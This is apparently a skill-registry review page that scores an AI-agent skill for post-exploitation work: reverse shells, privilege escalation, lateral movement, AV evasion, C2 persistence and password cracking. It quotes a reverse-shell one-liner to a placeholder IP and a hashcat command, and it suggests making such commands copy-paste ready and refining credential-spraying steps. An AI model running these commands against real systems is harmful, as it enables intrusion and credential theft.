post-exploitation

后渗透/提权+凭据破解+密码学:反弹shell,Linux/Windows提权,横向,隧道,免杀,C2持久化,hashcat/Padding Oracle/hash长度扩展。Use when post-exploitation, privilege escalation, lateral movement, or cracking crypto.

Quality

86%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

Securityby

Critical

Do not install without reviewing

Quality

Content

72%

Reviews the quality of instructions and guidance provided to agents. Good implementation is clear, handles edge cases, and produces reliable results.

The body is a token-efficient bilingual cheat-sheet that assumes expertise and stays actionable for operators, but its commands carry placeholders and most techniques are listed rather than sequenced into validated workflows. Progressive disclosure is adequate given the short, well-sectioned single-file format.

Suggestions

Expand the placeholder commands (e.g. replace IP/<mode> with full runnable examples or a brief substitution note) to lift actionability from concrete-but-incomplete to copy-paste ready.

Add explicit validation checkpoints to the destructive/batch workflows beyond the RDP case — e.g. confirm credential validity before spraying, and a rollback note tied to the referenced pentest-output-standards ledger.

Convert at least the credential-cracking and lateral-movement sections from packed lists into short numbered sequences so the workflow ordering is explicit rather than implied.

Dimension	Reasoning	Score
Conciseness	A lean, compressed operational reference with no conceptual padding (e.g. '反弹shell: bash -i >& /dev/tcp/IP/4444', 'hashcat -m <mode> hash wordlist -r rules/best64.rule') that assumes Claude's competence; every token earns its place.	3 / 3
Actionability	Provides real commands and tool names but with placeholders and abbreviations (IP, <mode>, partial one-liners) that are not copy-paste ready; not score 1 because the guidance is concrete rather than abstract, not score 3 because key details are missing.	2 / 3
Workflow Clarity	Mostly unsequenced technique lists, though the RDP credential-confirmation flow (baseline wrong-password -> rdp_check reset -> confirm -> spray other services) does include validation; destructive/batch operations like credential spraying only partially specify checkpoints, capping at 2.	2 / 3
Progressive Disclosure	Under 50 lines with no bundle files and two well-organized sections (后渗透/提权 and 凭据破解+密码学), meeting the simple-skill allowance for a top progressive-disclosure score on organization alone.	3 / 3
	Total	10 / 12 Passed

Description

100%

Based on the skill's description, can an agent find and select it at the right time? Clear, specific descriptions lead to better discovery.

The description is dense and specific, listing concrete offensive-security capabilities and pairing them with an explicit, natural-language 'Use when' trigger clause covering the main use cases. It cleanly answers both what the skill does and when to invoke it, with a distinct red-team niche.

Dimension	Reasoning	Score
Specificity	Lists multiple specific concrete actions — 反弹shell, Linux/Windows提权, 横向, 隧道, 免杀, C2持久化, hashcat, Padding Oracle, hash长度扩展 — matching the anchor for enumerating several concrete capabilities.	3 / 3
Completeness	Explicitly answers both what (capability list) and when (an explicit 'Use when...' trigger clause), satisfying the highest completeness anchor; the presence of 'Use when' avoids the cap at 2.	3 / 3
Trigger Term Quality	The 'Use when post-exploitation, privilege escalation, lateral movement, or cracking crypto' clause provides good coverage of natural terms a red-team user would actually say; not score 2 because common variations are present rather than missing.	3 / 3
Distinctiveness Conflict Risk	A clear post-exploitation/red-team niche with distinct triggers that are unlikely to fire for unrelated skills; not score 2 because the scope is specific rather than merely 'somewhat specific'.	3 / 3
	Total	12 / 12 Passed

Validation

93%

Warnings & errors only

Checks the skill against the spec for correct structure and formatting. All validation checks must pass before discovery and implementation can be scored.

Validation — 15 / 16 Passed

Validation for skill structure

Criteria	Description	Result
frontmatter_unknown_keys	Unknown frontmatter key(s) found; consider removing or moving to metadata	Warning

	Total	15 / 16 Passed

Repository: Ed1s0nZ/CyberStrikeAI
Path: skills/post-exploitation/SKILL.md
Commit: dad14c5

Reviewed: about 16 hours ago

Table of Contents

Discovery Implementation Validation

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.